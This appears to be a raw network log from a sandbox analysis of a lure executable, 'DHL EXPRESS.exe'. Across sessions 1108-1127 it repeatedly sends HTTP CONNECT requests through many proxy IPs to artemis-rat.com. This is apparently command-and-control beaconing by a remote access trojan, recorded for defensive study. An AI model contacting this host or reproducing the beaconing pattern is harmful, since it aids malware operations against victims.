Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1108	192.168.2.8	53242	184.169.154.119	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.034037113 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.206942081 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 17:36:50 GMT Server: nginx Content-Type: text/plain Content-Length: 0
Mar 11, 2024 18:36:50.207252026 CET	177	OUT	Data Raw: 16 03 03 00 ac 01 00 00 a8 03 03 65 ef 41 31 b9 10 b0 ed 7c 4a 4e 63 f6 c8 de 7b db 86 f2 44 cd 27 25 12 5c 5f 02 d3 0e 9d b6 f6 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: eA1\|JNc{D'%\_*,+0/$#('=<5/Uartemis-rat.com#
Mar 11, 2024 18:36:50.383047104 CET	1079	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 86 62 75 21 d4 03 32 52 59 39 99 0d d5 9d 2f da 5f 76 6e 3d ec 81 80 ec 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 b6 0b 00 02 b2 00 02 af 00 02 ac 30 Data Ascii: =9bu!2RY9/_vn=DOWNGRD0000H010Uartemis-rat.com0240311171632Z260311171632Z010Uartemis-rat.com0"0H09yQb7_4
Mar 11, 2024 18:36:50.384931087 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 e8 a4 9f fc fa 64 8d 8e 32 0f 5a d0 a6 ff c2 5b db 2c 04 db 39 df ba 5f 0a be d0 09 f3 2b ce 4b 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 4b 04 6d 9f bc 9a 4a d8 7b 13 33 ef 88 39 fc a0 57 34 44 16 a7 Data Ascii: %! d2Z[,9_+K(KmJ{39W4DPg'
Mar 11, 2024 18:36:50.556550026 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 1e 38 23 27 ba 93 45 2e 08 7f db ae 8e 5a df 30 d3 f6 cf f6 af 49 e0 52 6d f4 4b 53 29 28 46 c8 65 73 67 f2 0e 8d bb 47 Data Ascii: (8#'E.Z0IRmKS)(FesgG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1109	192.168.2.8	53254	38.54.101.254	9000	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.037946939 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.217830896 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1110	192.168.2.8	53128	1.15.62.12	5678	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.039719105 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1111	192.168.2.8	51285	66.228.35.209	46695	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.041712046 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.065867901 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.066270113 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:02.066131115 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:14.065752029 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:26.065778017 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:38.083317995 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:02.081418037 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:50.190720081 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1112	192.168.2.8	53143	75.119.145.169	38023	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.043023109 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.768996954 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.769378901 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.566031933 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:57.269210100 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:00.956907034 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.565941095 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1113	192.168.2.8	53264	172.67.200.220	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.043102026 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.198224068 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:50 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1114	192.168.2.8	53189	159.65.245.255	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.043210030 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.768754959 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.456948042 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.956650972 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.769258976 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.456573009 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.269058943 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:06.753424883 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:07.697432041 CET	442	IN	HTTP/1.1 403 Forbidden Date: Mon, 11 Mar 2024 17:37:07 GMT Server: Apache/2.4.18 (Ubuntu) Content-Length: 281 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 38 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p><hr><address>Apache/2.4.18 (Ubuntu) Server at artemis-rat.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1115	192.168.2.8	53285	104.23.128.174	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.043267965 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.197417021 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:50 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1116	192.168.2.8	52846	142.54.228.193	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.043451071 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1117	192.168.2.8	53263	184.72.36.89	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.044900894 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.216800928 CET	344	IN	HTTP/1.1 403 Forbidden Date: Mon, 11 Mar 2024 17:36:50 GMT Server: Apache Content-Length: 199 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1118	192.168.2.8	53154	88.99.138.21	5088	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.044945002 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1119	192.168.2.8	53159	196.20.125.129	8083	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.045015097 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1120	192.168.2.8	53184	72.206.181.105	64935	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.045429945 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1121	192.168.2.8	53141	31.134.151.40	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.045600891 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1122	192.168.2.8	53277	162.159.241.12	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.047441959 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.208551884 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:50 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1123	192.168.2.8	53342	188.114.99.37	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.058865070 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.213258982 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:50 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1124	192.168.2.8	52648	98.178.72.21	10919	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.060516119 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1125	192.168.2.8	53158	159.89.194.121	21193	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.060754061 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.845495939 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.910132885 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.967819929 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.198391914 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:02.409681082 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:06.706973076 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:15.003431082 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:31.596920967 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1126	192.168.2.8	53156	103.119.96.195	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.074181080 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.440530062 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1127	192.168.2.8	52736	104.238.111.107	5452	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
